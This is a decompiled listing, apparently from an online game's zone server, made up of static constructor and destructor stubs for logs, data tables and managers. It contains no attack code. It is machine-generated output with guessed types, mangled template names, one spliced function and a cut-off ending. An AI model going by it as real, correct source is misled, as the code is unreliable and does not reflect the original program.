_E156_0() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("ItemRelocLog"); return atexit(_E157); } //----- (00592240) -------------------------------------------------------- int __cdecl _E159() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("MobItemDropLog"); return atexit(_E160_0); } //----- (00592290) -------------------------------------------------------- int __cdecl _E162_0() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("GuildWarRefreshLog"); return atexit(_E163); } //----- (005922E0) -------------------------------------------------------- int __cdecl _E165() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("PacketLengthOverLog"); return atexit(_E166_0); } //----- (00592330) -------------------------------------------------------- int __cdecl _E168_0() { int v0; // eax@1 char v1; // cl@2 v0 = (int)"SocketMultiplicateLog"; do { v1 = *(_BYTE *)v0; *(_BYTE *)((char *)&SocketMultiplicateLog - "SocketMultiplicateLog" + v0) = *(_BYTE *)v0; ++v0; } while ( v1 ); SocketMultiplicateLog.dl_FilePointer = 0; EraseOldLogList("SocketMultiplicateLog"); SocketMultiplicateLog.dl_Activ = 1; return atexit(_E169); } //----- (00592380) -------------------------------------------------------- int __cdecl _E171() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("HolyPromiseLog"); return atexit(_E172_0); } //----- (005923D0) -------------------------------------------------------- int __cdecl _E174() { int v0; // eax@1 char v1; // cl@2 v0 = (int)"LockIndexLog"; do { v1 = *(_BYTE *)v0; *(_BYTE *)((char *)&LockIndexLog - "LockIndexLog" + v0) = *(_BYTE *)v0; ++v0; } while ( v1 ); LockIndexLog.dl_FilePointer = 0; EraseOldLogList("LockIndexLog"); LockIndexLog.dl_Activ = 1; return atexit(_E175_0); } //----- (00592420) -------------------------------------------------------- int __cdecl _E177() { int v0; // eax@1 char v1; // cl@2 v0 = (int)"GuildTournamentLog"; do { v1 = *(_BYTE *)v0; *(_BYTE *)((char *)&GuildTournamentLog - "GuildTournamentLog" + v0) = *(_BYTE *)v0; ++v0; } while ( v1 ); GuildTournamentLog.dl_FilePointer = 0; EraseOldLogList("GuildTournamentLog"); GuildTournamentLog.dl_Activ = 1; return atexit(_E178); } //----- (00592470) -------------------------------------------------------- int __cdecl _E180() { int v0; // eax@1 char v1; // cl@2 v0 = (int)"ShineObjectHandleLog"; do { v1 = *(_BYTE *)v0; *(_BYTE *)((char *)&ShineObjectHandleLog - "ShineObjectHandleLog" + v0) = *(_BYTE *)v0; ++v0; } while ( v1 ); ShineObjectHandleLog.dl_FilePointer = 0; EraseOldLogList("ShineObjectHandleLog"); ShineObjectHandleLog.dl_Activ = 1; return atexit(_E181); } //----- (005924C0) -------------------------------------------------------- int __cdecl _E183() { int v0; // eax@1 char v1; // cl@2 v0 = (int)"DebugLog"; do { v1 = *(_BYTE *)v0; *(_BYTE *)(&DebugMessage - (_UNKNOWN *)"DebugLog" + v0) = *(_BYTE *)v0; ++v0; } while ( v1 ); dword_1250EE50 = 0; EraseOldLogList("DebugLog"); byte_1250EFD4 = 1; return atexit(_E184); } // 1250EE50: using guessed type int dword_1250EE50; // 1250EFD4: using guessed type char byte_1250EFD4; //----- (00592510) -------------------------------------------------------- int __cdecl _E187() { EventHeartPing::EventHeartPing(&eventheartping); return atexit(_E188); } //----- (00592530) -------------------------------------------------------- int __cdecl _E190() { EventMobRegen::EventMobRegen(&eventmobregen); return atexit(_E191); } //----- (00592550) -------------------------------------------------------- int __cdecl _E193() { EventReserveContainer::EventReserveContainer((EventReserveContainer *)&zonevent, 1000); return atexit(_E194); } //----- (00592570) -------------------------------------------------------- int __cdecl _E196() { MapDataBox::MapDataBox(&mapdatabox); return atexit(_E197); } //----- (00592590) -------------------------------------------------------- int __cdecl _E199() { MobDataBox::MobDataBox(&mobdatabox, (char *)0xFFFFFFFF); return atexit(_E200); } //----- (005925B0) -------------------------------------------------------- int __cdecl _E202() { ItemDataBox::ItemDataBox(&itemdatabox, (char *)0xFFFFFFFF, 0); return atexit(_E203); } //----- (005925D0) -------------------------------------------------------- int __cdecl _E205() { ZoneServer::ZoneServer(&zoneserver); return atexit(_E206); } //----- (005925F0) -------------------------------------------------------- int __cdecl _E208() { ZoneConnectSession::ZoneConnectSession(&zoneconnect); return atexit(_E209); } //----- (00592610) -------------------------------------------------------- int __cdecl _E211() { SocketBundle::SocketBundle((SocketBundle *)&sock2gameDB, 20); return atexit(_E212); } //----- (00592630) -------------------------------------------------------- int __cdecl _E214() { SocketBundle::SocketBundle((SocketBundle *)&sock2gamelog, 600); return atexit(_E215); } //----- (00592650) -------------------------------------------------------- int __cdecl _E217() { SocketBundle::SocketBundle(&sock2wldman, 20); return atexit(_E218); } //----- (00592670) -------------------------------------------------------- int __cdecl _E220() { strncpy(dashtoken, (const char *)&stru_598DE4.maa_TargetSelect.targetlist.mam_Array[9].mts_LastHit, 0x14u); return atexit(_E221); } //----- (00592690) -------------------------------------------------------- int __cdecl _E223() { MobHatchery::MobHatchery((MobHatchery *)&mobhat); return atexit(_E224); } //----- (005926B0) -------------------------------------------------------- int __cdecl _E4_52() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("QuestLog"); return atexit(_E5_78); } //----- (00592700) -------------------------------------------------------- int __cdecl _E3_24() { std::basic_string_std::allocator>::assign( &NPCAction::ActionGen_OptionReader::tableName_, "NPCAction", 9u); return atexit(_E4_88); } //----- (00592720) -------------------------------------------------------- int __cdecl _E3_25() { std::basic_string_std::allocator>::assign( &NPCAction::CondGen_OptionReader::tableName_, "NPCCondition", 0xCu); return atexit(_E4_89); } //----- (00592740) -------------------------------------------------------- int __cdecl _E3_26() { NPCAction::Manager::Manager((AbnormalStateShelter::AbstateShelter *)&conditionManager); return atexit(_E4_90); } //----- (00592760) -------------------------------------------------------- int __cdecl _E6_9() { NPCAction::Manager::Manager((AbnormalStateShelter::AbstateShelter *)&actionManager); return atexit(_E7_59); } //----- (00592780) -------------------------------------------------------- int __cdecl _E9_5() { std::map>_std::less_std::allocator>>>>::map>_std::less_std::allocator>>>>((std::map >,std::less,std::allocator > > > > *)&triggerDic); return atexit(_E10_29); } //----- (005927A0) -------------------------------------------------------- int __cdecl _E3_27() { std::basic_string_std::allocator>::assign( &NPCAction::TriggerGen_OptionReader::tableName_, "Trigger", 7u); return atexit(_E4_91); } //----- (005927C0) -------------------------------------------------------- int __cdecl _E1_25() { return atexit(_E2_25); } //----- (005927D0) -------------------------------------------------------- int __cdecl _E4_53() { std::map>_std::less_std::allocator>>>>::map>_std::less_std::allocator>>>>((std::map >,std::less,std::allocator > > > > *)&GuildTournamentLvGapTable::sm_mapBalanceDatas); return atexit(_E5_79); } //----- (005927F0) -------------------------------------------------------- int __cdecl _E3_28() { std::map_std::allocator>>::map_std::allocator>>((std::map,std::allocator > > *)&MysteryVaultTable::sm_ItemLists); return atexit(_E4_92); } //----- (00592810) -------------------------------------------------------- int __cdecl _E1_26() { Navigator::WaitingList::WaitingList((Navigator::WaitingList *)&waitlist); return atexit(_E2_26); } //----- (00592830) -------------------------------------------------------- int __cdecl _E3_29() { BossFieldContent::ServentBuffBossTable::ServentBuffBossTable(&BossFieldContent::g_ServentBuffBossTable); return atexit(_E4_93); } //----- (00592850) -------------------------------------------------------- int __cdecl _E6_10() { BossFieldContent::ListOfMobStateCheckAtDead::ListOfMobStateCheckAtDead(&BossFieldContent::g_ListOfMobStateCheckAtDead); return atexit(_E7_60); } //----- (00592870) -------------------------------------------------------- int __cdecl _E9_6() { BossFieldContent::MobAutomaticActionList::MobAutomaticActionList(&BossFieldContent::g_MobAutomaticActionList); return atexit(_E10_30); } //----- (00592890) -------------------------------------------------------- int __cdecl _E1_27() { return atexit(_E2_27); } //----- (005928A0) -------------------------------------------------------- int __cdecl _E1_28() { RecallPointTable::RecallPointTable(&shinescriptetc); return atexit(_E2_28); } //----- (005928C0) -------------------------------------------------------- int __cdecl _E4_54() { RecallPointTable::RecallPointTable(&shinescriptmenusting); return atexit(_E5_82); } //----- (005928E0) -------------------------------------------------------- int __cdecl _E7_31() { KQScriptManager::KQScriptManager(&kqscriptmanager); return atexit(_E8_38); } //----- (00592900) -------------------------------------------------------- int __cdecl _E1_29() { RandomBox::RandomBox(&rndbox); return atexit(_E2_29); } //----- (00592920) -------------------------------------------------------- int __cdecl _E1_30() { MobResistTable::MobResistTable(&mobresisttable); return atexit(_E2_30); } //----- (00592940) -------------------------------------------------------- int __cdecl _E1_31() { ItemAttributeClassContainer::ItemAttributeClassContainer(&itmattcontainer); return atexit(_E2_31); } //----- (00592960) -------------------------------------------------------- int __cdecl _E1_32() { charinvenman.cim_Array[0] = (ItemBag *(__thiscall *)(CharacterInventoryManager *, CharacterInventory *))ShineObjectClass::ShineObject::so_mh_PortalOpen; charinvenman.cim_Array[1] = (ItemBag *(__thiscall *)(CharacterInventoryManager *, CharacterInventory *))ShineObjectClass::ShineObject::so_mh_PortalOpen; charinvenman.cim_Array[2] = (ItemBag *(__thiscall *)(CharacterInventoryManager *, CharacterInventory *))ShineObjectClass::ShineObject::so_mh_PortalOpen; charinvenman.cim_Array[3] = (ItemBag *(__thiscall *)(CharacterInventoryManager *, CharacterInventory *))ShineObjectClass::ShineObject::so_mh_PortalOpen; charinvenman.cim_Array[4] = (ItemBag *(__thiscall *)(CharacterInventoryManager *, CharacterInventory *))ShineObjectClass::ShineObject::so_mh_PortalOpen; charinvenman.cim_Array[5] = (ItemBag *(__thiscall *)(CharacterInventoryManager *, CharacterInventory *))ShineObjectClass::ShineObject::so_mh_PortalOpen; charinvenman.cim_Array[6] = (ItemBag *(__thiscall *)(CharacterInventoryManager *, CharacterInventory *))ShineObjectClass::ShineObject::so_mh_PortalOpen; charinvenman.cim_Array[10] = (ItemBag *(__thiscall *)(CharacterInventoryManager *, CharacterInventory *))ShineObjectClass::ShineObject::so_mh_PortalOpen; charinvenman.cim_Array[11] = (ItemBag *(__thiscall *)(CharacterInventoryManager *, CharacterInventory *))ShineObjectClass::ShineObject::so_mh_PortalOpen; charinvenman.cim_Array[13] = (ItemBag *(__thiscall *)(CharacterInventoryManager *, CharacterInventory *))ShineObjectClass::ShineObject::so_mh_PortalOpen; charinvenman.cim_Array[14] = (ItemBag *(__thiscall *)(CharacterInventoryManager *, CharacterInventory *))ShineObjectClass::ShineObject::so_mh_PortalOpen; charinvenman.cim_Array[15] = (ItemBag *(__thiscall *)(CharacterInventoryManager *, CharacterInventory *))ShineObjectClass::ShineObject::so_mh_PortalOpen; charinvenman.cim_Array[16] = (ItemBag *(__thiscall *)(CharacterInventoryManager *, CharacterInventory *))ShineObjectClass::ShineObject::so_mh_PortalOpen; charinvenman.cim_Array[7] = CharacterInventoryManager::cim_quest; charinvenman.cim_Array[8] = ShineObjectClass::ShineObject::so_fill_PROTO_NC_CHAR_MAPLOGIN_ACK; charinvenman.cim_Array[9] = CharacterInventoryManager::cim_inven; charinvenman.cim_Array[12] = CharacterInventoryManager::cim_minihouse; return atexit(_E2_32); } //----- (005929F0) -------------------------------------------------------- int __cdecl _E4_55() { return atexit(_E5_83); } //----- (00592A00) -------------------------------------------------------- int __cdecl _E7_32() { return atexit(_E8_39); } //----- (00592A10) -------------------------------------------------------- int __cdecl _E1_33() { CParty::PARTY_SLOT::PARTY_SLOT(&CParty::p_def); return atexit(_E2_33); } //----- (00592A30) -------------------------------------------------------- int __cdecl _E1_34() { strncpy(ORTable::ort_Index, "index", 0x14u); return atexit(_E2_34); } //----- (00592A50) -------------------------------------------------------- int __cdecl _E4_56() { strncpy(ORTable::ort_String, "string", 0x14u); return atexit(_E5_84); } //----- (00592A70) -------------------------------------------------------- int __cdecl _E7_33() { strncpy(ORTable::ort_Byte, "byte", 0x14u); return atexit(_E8_40); } //----- (00592A90) -------------------------------------------------------- int __cdecl _E10_17() { strncpy(ORTable::ort_Word, "word", 0x14u); return atexit(_E11_34); } //----- (00592AB0) -------------------------------------------------------- int __cdecl _E13_12() { strncpy(ORTable::ort_Dwrd, "dwrd", 0x14u); return atexit(_E14_17); } //----- (00592AD0) -------------------------------------------------------- int __cdecl _E16_12() { strncpy(ORTable::ort_Dword, "dword", 0x14u); return atexit(_E17_20); } //----- (00592AF0) -------------------------------------------------------- int __cdecl _E19_8() { strncpy(OptionReader::or_CommentMark, "comment", 0x14u); return atexit(_E20_11); } //----- (00592B10) -------------------------------------------------------- int __cdecl _E22_7() { strncpy(OptionReader::or_Brace, "brace", 0x14u); return atexit(_E23_11); } //----- (00592B30) -------------------------------------------------------- int __cdecl _E25_7() { strncpy(OptionReader::or_Ignore, "ignore", 0x14u); return atexit(_E26_9); } //----- (00592B50) -------------------------------------------------------- int __cdecl _E28_6() { strncpy(OptionReader::or_Delimiter, "delimiter", 0x14u); return atexit(_E29_10); } //----- (00592B70) -------------------------------------------------------- int __cdecl _E31_6() { strncpy(OptionReader::or_Exchange, "exchange", 0x14u); return atexit(_E32_8); } //----- (00592B90) -------------------------------------------------------- int __cdecl _E34_5() { strncpy(OptionReader::or_Table.ort_Name, "table", 0x14u); return atexit(_E35_6); } //----- (00592BB0) -------------------------------------------------------- int __cdecl _E37_4() { strncpy(OptionReader::or_ColumnType.ort_Name, "columntype", 0x14u); return atexit(_E38_5); } //----- (00592BD0) -------------------------------------------------------- int __cdecl _E40_4() { strncpy(OptionReader::or_ColumnName.ort_Name, "columnname", 0x14u); return atexit(_E41_4); } //----- (00592BF0) -------------------------------------------------------- int __cdecl _E43_4() { strncpy(OptionReader::or_Record.ort_Name, "record", 0x14u); return atexit(_E44_5); } //----- (00592C10) -------------------------------------------------------- int __cdecl _E46_4() { strncpy(OptionReader::or_RecordIn.ort_Name, "recordin", 0x14u); return atexit(_E47_5); } //----- (00592C30) -------------------------------------------------------- int __cdecl _E49_4() { strncpy(OptionReader::or_End, "end", 0x14u); return atexit(_E50_3); } //----- (00592C50) -------------------------------------------------------- int __cdecl _E1_35() { RewardData::RewardData(&rewarddata); return atexit(_E2_35); } //----- (00592C70) -------------------------------------------------------- int __cdecl _E4_57() { ItemOptionsData::ItemOptionsData(&itemoptiondata); return atexit(_E5_85); } //----- (00592C90) -------------------------------------------------------- int __cdecl _E1_36() { _eh_vector_constructor_iterator_( &IOBufferList, 0x808u, 16, (void (__thiscall *)(void *))IOBufferContainer::IOBufferContainer, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); return atexit(_E2_36); } //----- (00592CC0) -------------------------------------------------------- CIOBuffer::CSlot *__cdecl _E4_58() { CIOBuffer::CSlot *result; // eax@1 signed int v1; // ecx@1 result = g_slotBuffer; v1 = 16; do { result->m_pBuffer = 0; result->m_lock.lock = 0; ++result; --v1; } while ( v1 ); return result; } //----- (00592CE0) -------------------------------------------------------- int __cdecl _E1_37() { CShnDataFileCheckSum::CShnDataFileCheckSum(&ShnDataFile); return atexit(_E2_37); } //----- (00592CF6) -------------------------------------------------------- int __cdecl _E1_38() { std::_Init_locks::_Init_locks(&initlocks); return atexit(_E2_38); } //----- (00592D0C) -------------------------------------------------------- int __cdecl _E1_39() { return atexit(_E2_39); } //----- (00592D18) -------------------------------------------------------- int __cdecl _E1_40() { std::_Init_locks::_Init_locks(&initlocks_0); return atexit(_E2_41); } //----- (00592D2E) -------------------------------------------------------- int __cdecl _E4_59() { return atexit(_E5_86); } //----- (00592D50) -------------------------------------------------------- void __cdecl _E11_1() { AbnormalStateContainer::AbnormalStateList::_AbnormalStateList(&abstatetemplate); } //----- (00592D60) -------------------------------------------------------- void __cdecl _E5_0() { AbnormalStateContainer::ActorCluster::_ActorCluster(&actorcluster); } //----- (00592D70) -------------------------------------------------------- void __cdecl _E2() { PassiveDataBox::_PassiveDataBox(&dic_subabstate); } //----- (00592D80) -------------------------------------------------------- void __cdecl _E5_1() { AbnormalStateDictionary::AbState::_AbState(&dic_abstate); } //----- (00592D90) -------------------------------------------------------- void __cdecl _E4_60() { AbnormalStateShelter::AbstateShelter::_AbstateShelter(&g_AbstateShelter); } //----- (00592DB0) -------------------------------------------------------- void __cdecl _E8_3() { AmpersandCommand::_AmpersandCommand(&cmd); } //----- (00592DC0) -------------------------------------------------------- void __cdecl _E2_0() { AttackRhythm::AttackRhythm_Melee::_AttackRhythm_Melee((AttackRhythm::AttackRhythm_Mob *)&attrhythm_melee); } //----- (00592DD0) -------------------------------------------------------- void __cdecl _E5_3() { AttackRhythm::AttackRhythm_Melee::_AttackRhythm_Melee((AttackRhythm::AttackRhythm_Mob *)&attrhythm_range); } //----- (00592DE0) -------------------------------------------------------- void __cdecl _E8_4() { AttackRhythm::AttackRhythm_Melee::_AttackRhythm_Melee(&attrhythm_mob); } //----- (00592E90) -------------------------------------------------------- void __cdecl _E5_5() { BattleObjectGroup::BattleObjectList::_BattleObjectList(&btlobjlist); } //----- (00592EA0) -------------------------------------------------------- void __cdecl _E11_3() { std::vector>::_vector>((std::vector,std::allocator > >::iterator,std::allocator,std::allocator>::_vector>((std::vector,std::allocator > >::iterator,std::allocator,std::allocator::_ChargedItemEffectDataBox(&chargedbuffdatabox); } //----- (00593090) -------------------------------------------------------- void __cdecl _E5_9() { ChargedItemEffectDataBox::_ChargedItemEffectDataBox(&minihousedatabox); } //----- (005930A0) -------------------------------------------------------- void __cdecl _E8_6() { ChargedItemEffectDataBox::_ChargedItemEffectDataBox(&minihousefurnituredatabox); } //----- (005930B0) -------------------------------------------------------- void __cdecl _E11_4() { RidePetDataBox::_RidePetDataBox((RidePetDataBox *)&ridedatabox); } //----- (00593100) -------------------------------------------------------- void __cdecl _E5_11() { WholeSaver::_WholeSaver(&wholesaver); } //----- (005931F0) -------------------------------------------------------- void __cdecl _E5_13() { ZoneListenSession::_ZoneListenSession(&zonelisten); } //----- (00593270) -------------------------------------------------------- void __cdecl _E2_6() { DropLocationManager::_DropLocationManager(&droplocman); } //----- (005932B0) -------------------------------------------------------- void __cdecl _E17_4() { BTree::_BTree(&fieldserial); } //----- (005932D0) -------------------------------------------------------- void __cdecl _E20_1() { MapRearrangeObserver::_MapRearrangeObserver(&maprearrangeobserver); } //----- (005932E0) -------------------------------------------------------- void __cdecl _E14_2() { FieldContainer::_FieldContainer((FieldContainer *)&fieldlist); } //----- (00593300) -------------------------------------------------------- void __cdecl _E5_18() { FunctionProfiler::PerformanceRecorder::_PerformanceRecorder(&_PerformanceRecorder); } //----- (00593370) -------------------------------------------------------- void __cdecl _E5_19() { GatherProduce::GatherTable::_GatherTable(&gathertable); } //----- (00593380) -------------------------------------------------------- void __cdecl _E8_10() { GatherProduce::RecipeBook::_RecipeBook(&recipebook); } //----- (005933B0) -------------------------------------------------------- void __cdecl _E5_21() { GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::_GuildAcademyRewardStorageManager(&gldacademyrewardstoramanager); } //----- (00593410) -------------------------------------------------------- void __cdecl _E5_22() { MemoryQueue::_MemoryQueue(&queue_GuildReName); } //----- (00593420) -------------------------------------------------------- void __cdecl _E5_23() { GuildStorage::GuildStorageManager::_GuildStorageManager(&gldstoramanager); } //----- (00593450) -------------------------------------------------------- void __cdecl _E5_24() { _eh_vector_destructor_iterator_( >Map, 0xDu, 32, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } // C88F320: using guessed type struct __unnamed *GTMap; //----- (00593470) -------------------------------------------------------- void __cdecl _E8_12() { _eh_vector_destructor_iterator_( &guildtournamentinfo, 0x24u, 32, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } //----- (00593490) -------------------------------------------------------- void __cdecl _E4_63() { std::map_std::allocator>>::_map_std::allocator>>(&GuildTournamentSystem::sm_mapGuildMemberGrades); } //----- (005934C0) -------------------------------------------------------- void __cdecl _E11_11() { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&powed); } //----- (00593500) -------------------------------------------------------- void __cdecl _E8_15() { InventoryLocking::InventoryCellLockList::icll_Releaser_None = &InventoryLocking::InvenCellReleaser::_vftable_; } // 5A712C: using guessed type int (__stdcall *InventoryLocking__InvenCellReleaser___vftable_)(int, int lc, char inchest); // 5FCB58: using guessed type int (__stdcall **InventoryLocking__InventoryCellLockList__icll_Releaser_None)(int, int lc, char inchest); //----- (00593510) -------------------------------------------------------- void __cdecl _E11_12() { InventoryLocking::InvenCellReleaser_ItemUse::_InvenCellReleaser_ItemUse((InventoryLocking::InvenCellReleaser_LinkInfo *)&InventoryLocking::InventoryCellLockList::icll_Releaser_CenChange); } //----- (00593520) -------------------------------------------------------- void __cdecl _E14_3() { InventoryLocking::InvenCellReleaser_ItemUse::_InvenCellReleaser_ItemUse((InventoryLocking::InvenCellReleaser_LinkInfo *)&InventoryLocking::InventoryCellLockList::icll_Releaser_FameChange); } //----- (00593530) -------------------------------------------------------- void __cdecl _E17_7() { InventoryLocking::InvenCellReleaser_ItemUse::_InvenCellReleaser_ItemUse((InventoryLocking::InvenCellReleaser_LinkInfo *)&InventoryLocking::InventoryCellLockList::icll_Releaser_CellClear); } //----- (00593540) -------------------------------------------------------- void __cdecl _E20_2() { InventoryLocking::InvenCellReleaser_ItemUse::_InvenCellReleaser_ItemUse((InventoryLocking::InvenCellReleaser_LinkInfo *)&InventoryLocking::InventoryCellLockList::icll_Releaser_CellChange); } //----- (00593550) -------------------------------------------------------- void __cdecl _E23_3() { InventoryLocking::InvenCellReleaser_ItemUse::_InvenCellReleaser_ItemUse((InventoryLocking::InvenCellReleaser_LinkInfo *)&InventoryLocking::InventoryCellLockList::icll_Releaser_EquipLocation); } //----- (00593560) -------------------------------------------------------- void __cdecl _E26_1() { InventoryLocking::InvenCellReleaser_ItemUse::_InvenCellReleaser_ItemUse((InventoryLocking::InvenCellReleaser_LinkInfo *)&InventoryLocking::InventoryCellLockList::icll_Releaser_ItemUse); } //----- (00593570) -------------------------------------------------------- void __cdecl _E29_2() { InventoryLocking::InvenCellReleaser_ItemUse::_InvenCellReleaser_ItemUse((InventoryLocking::InvenCellReleaser_LinkInfo *)&InventoryLocking::InventoryCellLockList::icll_Releaser_PointStone); } //----- (00593580) -------------------------------------------------------- void __cdecl _E32_1() { InventoryLocking::InvenCellReleaser_ItemUse::_InvenCellReleaser_ItemUse((InventoryLocking::InvenCellReleaser_LinkInfo *)&InventoryLocking::InventoryCellLockList::icll_Releaser_QuestReward); } //----- (00593590) -------------------------------------------------------- void __cdecl _E35_0() { InventoryLocking::InvenCellReleaser_ItemUse::_InvenCellReleaser_ItemUse((InventoryLocking::InvenCellReleaser_LinkInfo *)&InventoryLocking::InventoryCellLockList::icll_Releaser_GuildStorageClear); } //----- (005935A0) -------------------------------------------------------- void __cdecl _E38_0() { InventoryLocking::InvenCellReleaser_ItemUse::_InvenCellReleaser_ItemUse((InventoryLocking::InvenCellReleaser_LinkInfo *)&InventoryLocking::InventoryCellLockList::icll_Releaser_CellChangeSmall); } //----- (005935B0) -------------------------------------------------------- void __cdecl _E41() { InventoryLocking::InvenCellReleaser_ItemUse::_InvenCellReleaser_ItemUse((InventoryLocking::InvenCellReleaser_LinkInfo *)&InventoryLocking::InventoryCellLockList::icll_Releaser_GuildStorageChange); } //----- (005935C0) -------------------------------------------------------- void __cdecl _E44_0() { InventoryLocking::InvenCellReleaser_ItemUse::_InvenCellReleaser_ItemUse((InventoryLocking::InvenCellReleaser_LinkInfo *)&InventoryLocking::InventoryCellLockList::icll_Releaser_GuildAcademyRewardStorageRelocClear); } //----- (005935D0) -------------------------------------------------------- void __cdecl _E47_0() { InventoryLocking::InvenCellReleaser_ItemUse::_InvenCellReleaser_ItemUse((InventoryLocking::InvenCellReleaser_LinkInfo *)&InventoryLocking::InventoryCellLockList::icll_Releaser_GuildAcademyRewardStorageWithdrawClear); } //----- (005935E0) -------------------------------------------------------- void __cdecl _E50() { InventoryLocking::InvenCellReleaser_ItemUse::_InvenCellReleaser_ItemUse((InventoryLocking::InvenCellReleaser_LinkInfo *)&InventoryLocking::InventoryCellLockList::icll_Releaser_GuildAcademyRewardStorageChange); } //----- (005935F0) -------------------------------------------------------- void __cdecl _E53_0() { InventoryLocking::InvenCellReleaser_ItemUse::_InvenCellReleaser_ItemUse((InventoryLocking::InvenCellReleaser_LinkInfo *)&InventoryLocking::InventoryCellLockList::icll_Releaser_GuildAcademyRewardStorageReloc); } //----- (00593600) -------------------------------------------------------- void __cdecl _E56_0() { InventoryLocking::InvenCellReleaser_ItemUse::_InvenCellReleaser_ItemUse((InventoryLocking::InvenCellReleaser_LinkInfo *)&InventoryLocking::InventoryCellLockList::icll_Releaser_GuildAcademyRewardStorageInfoZoneRng); } //----- (00593610) -------------------------------------------------------- void __cdecl _E59_0() { InventoryLocking::InvenCellReleaser_ItemUse::_InvenCellReleaser_ItemUse((InventoryLocking::InvenCellReleaser_LinkInfo *)&InventoryLocking::InventoryCellLockList::icll_Releaser_FurnitureReloc); } //----- (00593620) -------------------------------------------------------- void __cdecl _E62_0() { InventoryLocking::InvenCellReleaser_ItemUse::_InvenCellReleaser_ItemUse((InventoryLocking::InvenCellReleaser_LinkInfo *)&InventoryLocking::InventoryCellLockList::icll_Releaser_FurnitureCellClear); } //----- (00593630) -------------------------------------------------------- void __cdecl _E5_27() { List::_List(&itemlotanalyser); } //----- (00593640) -------------------------------------------------------- void __cdecl _E65_0() { InventoryLocking::InvenCellReleaser_ItemUse::_InvenCellReleaser_ItemUse(&InventoryLocking::InventoryCellLockList::icll_Releaser_LinkInfo); } //----- (00593680) -------------------------------------------------------- void __cdecl _E9_11() { void *v0; // esi@2 if ( (_DWORD)dropgroupcluster.dgc_GroupList ) { v0 = (char *)dropgroupcluster.dgc_GroupList - 4; _eh_vector_destructor_iterator_( dropgroupcluster.dgc_GroupList, 0x27F0u, *((_DWORD *)dropgroupcluster.dgc_GroupList - 1), (void (__thiscall *)(void *))ItemDropFromMob::DropItemListInGroup::_DropItemListInGroup); operator delete__(v0); } } //----- (005936B0) -------------------------------------------------------- void __cdecl _E12_5() { ItemDropFromMob::DropIndexCluster::_DropIndexCluster(&dropindexcluster); } //----- (005936C0) -------------------------------------------------------- void __cdecl _E2_10() { ItemGroupClassifier::_ItemGroupClassifier(&itemgroupclassifier); } //----- (00593700) -------------------------------------------------------- void __cdecl _E2_11() { ItemRandomOption::RandomOptionTable::_RandomOptionTable(&itemrandomoptiontable); } //----- (00593770) -------------------------------------------------------- void __cdecl _E24_3() { KingdomQuestGate::_KingdomQuestGate(&kqgate); } //----- (00593780) -------------------------------------------------------- void __cdecl _E10_19() { KingdomQuest::KingdomQuestContainer::_KingdomQuestContainer(&kqcontainer); } //----- (00593790) -------------------------------------------------------- void __cdecl _E5_29() { KQContribute::KQContributeList::_KQContributeList((KQContribute::KQContributeList *)&g_KQContributeList); } //----- (005937A0) -------------------------------------------------------- void __cdecl _E2_12() { BinaryDataBox::_BinaryDataBox((MobResistTable *)&kqreward); } //----- (005937E0) -------------------------------------------------------- void __cdecl _E5_31() { ShineCommonParameter::_ShineCommonParameter((ShineScript *)&magiccontainer); } //----- (00593810) -------------------------------------------------------- void __cdecl _E2_14() { CFindWay::_CFindWay(&findway); } //----- (00593820) -------------------------------------------------------- void __cdecl _E5_32() { MapBlock::MapBlockInformationBox::_MapBlockInformationBox(&blockinfobox); } //----- (00593840) -------------------------------------------------------- void __cdecl _E8_19() { BinaryDataBox::_BinaryDataBox((MobResistTable *)&townportaldata); } //----- (00593850) -------------------------------------------------------- void __cdecl _E4_67() { MapClusterManager::ClusterManager::_ClusterManager(&mapclustermanager); } //----- (00593860) -------------------------------------------------------- void __cdecl _E4_68() { PassiveDataBox::_PassiveDataBox((AbnormalStateDictionary::SubAbState *)&minihouseenduredatabox); } //----- (00593870) -------------------------------------------------------- void __cdecl _E4_69() { PassiveDataBox::_PassiveDataBox((AbnormalStateDictionary::SubAbState *)&minihouseobjanidatabox); } //----- (00593890) -------------------------------------------------------- void __cdecl _E8_20() { mobexplosebase = &MobExplosionElement::MobExplosionBase::_vftable_; } // 5AAFE8: using guessed type int (__stdcall *MobExplosionElement__MobExplosionBase___vftable_)(int mob, int); // 5FCBB0: using guessed type int (__stdcall **mobexplosebase)(int mob, int); //----- (005938A0) -------------------------------------------------------- void __cdecl _E11_15() { MobExplosionElement::MobExplosionAlways::_MobExplosionAlways((MobExplosionElement::MobExplosionAlways *)&mobexploseenemy); } //----- (005938B0) -------------------------------------------------------- void __cdecl _E14_4() { MobExplosionElement::MobExplosionAlways::_MobExplosionAlways((MobExplosionElement::MobExplosionAlways *)&mobexplosetarget); } //----- (005938C0) -------------------------------------------------------- void __cdecl _E17_9() { MobExplosionElement::MobExplosionAlways::_MobExplosionAlways(&mobexplosealways); } //----- (005938D0) -------------------------------------------------------- void __cdecl _E5_34() { MobAttackSequence::_MobAttackSequence(&mobattseq); } //----- (005938E0) -------------------------------------------------------- void __cdecl _E5_35() { MobTargetEraser::_MobTargetEraser(&mobtargeteraser); } //----- (005938F0) -------------------------------------------------------- void __cdecl _E5_36() { MobChat::MobChatManager::_MobChatManager(&mobchatman); } //----- (00593910) -------------------------------------------------------- void __cdecl _E8_21() { MobActionElement::_MobActionElement(&ShineObjectClass::ShineMob::defaction); } //----- (00593930) -------------------------------------------------------- void __cdecl _E11_16() { KQRegenTable::_KQRegenTable(&kqregentable); } //----- (00593940) -------------------------------------------------------- void __cdecl _E17_10() { 